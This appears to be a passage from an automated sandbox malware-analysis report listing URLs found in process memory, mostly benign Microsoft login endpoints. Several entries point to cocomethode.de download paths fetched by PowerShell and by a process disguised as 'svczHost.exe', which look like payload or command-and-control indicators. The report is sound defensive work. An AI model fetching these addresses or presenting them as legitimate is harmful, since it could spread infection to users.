Source: powershell.exe, 00000007.00000002.4043091425.000002792A308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cq-
Source: powershell.exe, 00000002.00000002.3898320173.000001A0EBC48000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4206777413.000001BADACD0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4041179833.0000027929E4A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4891586599.000001C03AE0E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4914809725.000001C03C287000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5367966996.000001B556A24000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5363571234.0000026463B1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: powershell.exe, 00000003.00000002.4212947673.000001BADAFEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwwft.com/PKI/docs/
Source: svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B556329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600;
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601160509204055Z
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: powershell.exe, 0000000C.00000002.4814981767.000001C0330C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000014.00000002.5367418387.0000026467A48000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF647322000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000000.4325699293.00007FF647322000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: svczHost.exe, myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: powershell.exe, 00000002.00000002.3880486051.000001A0D3B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2CB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911D11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022DB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC2F95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.000002791298A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C0248E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C023182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC4098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC4098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57f
Source: powershell.exe, 0000000C.00000002.4347645237.000001C0231BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC4630000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC4DA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC4FB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC30A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a6904
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC30A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc
Source: svczHost.exe, 00000014.00000002.5365455806.00000264670A8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/StaticFile/RdpService/38
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC2EDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/Zd(
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC30A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fa
Source: powershell.exe, 0000000C.00000002.4347645237.000001C0231BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f5
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC30A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC3337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd8
Source: powershell.exe, 0000000C.00000002.4347645237.000001C022DB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC4630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/b0c
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC4630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/b0cdda893b0765c99d30cddae6fd74c48ea8c4a5922a60ed3ef018a1ea2b77873615eb3
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC4630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1
Source: powershell.exe, 00000007.00000002.4000632893.000002791298A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9
Source: powershell.exe, 00000003.00000002.4109159534.000001BAC30A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dca
Source: powershell.exe, 0000000C.00000002.4814981767.000001C032E27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000C.00000002.4814981767.000001C032E27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000C.00000002.4814981767.000001C032E27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svczHost.exe, 00000014.00000002.5367418387.0000026467A48000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/MartinKuschnik/WmiLight
Source: powershell.exe, 00000007.00000002.4000632893.00000279131E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.3880486051.000001A0D3D2C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2EDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2F95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/PesterXz
Source: powershell.exe, 00000002.00000002.3880486051.000001A0D4E80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3880486051.000001A0D4E9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.000002791320F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.00000279131E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterh
Source: powershell.exe, 0000000C.00000002.4814981767.000001C0330C0000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026467A48000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF647322000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000000.4325699293.00007FF647322000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://github.com/dotnet/runtime
Source: powershell.exe, 00000007.00000002.4000632893.0000027913084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.4206777413.000001BADAD0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: svchost.exe, 00000012.00000002.5364380357.000001B555A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000012.00000003.4055140927.000001B556340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055018800.000001B55633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?u(
Source: svchost.exe, 00000012.00000003.4055239741.000001B55636B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055445103.000001B55630E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000012.00000003.4055507114.000001B55630E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055239741.000001B55636B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055445103.000001B55630E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000012.00000003.4055507114.000001B55630E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055239741.000001B55636B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055445103.000001B55630E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000012.00000003.4055066251.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000012.00000003.4055140927.000001B556340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055018800.000001B55633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000012.00000003.4055140927.000001B556340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055018800.000001B55633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000012.00000003.4055140927.000001B556340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366821786.000001B556337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5365368942.000001B555AF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055018800.000001B55633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5365368942.000001B555AC4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000012.00000002.5366821786.000001B556337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/p
Source: svchost.exe, 00000012.00000003.4055239741.000001B55636B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srfoken
Source: svchost.exe, 00000012.00000003.4055239741.000001B55636B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000012.00000003.4055140927.000001B556340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055018800.000001B55633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000012.00000003.4055239741.000001B55636B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000012.00000003.4055239741.000001B55636B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5363975114.000001B555A2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000012.00000003.4055140927.000001B556340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055018800.000001B55633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cplive.com
Source: svchost.exe, 00000012.00000003.4055239741.000001B55636B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5367119107.000001B55636D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055239741.000001B55636B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000012.00000003.4055507114.000001B55630E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055445103.000001B55630E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf1V
Source: svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=806010
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000012.00000003.4055507114.000001B55630E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055239741.000001B55636B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055445103.000001B55630E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5367119107.000001B55636D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806000
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806010
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
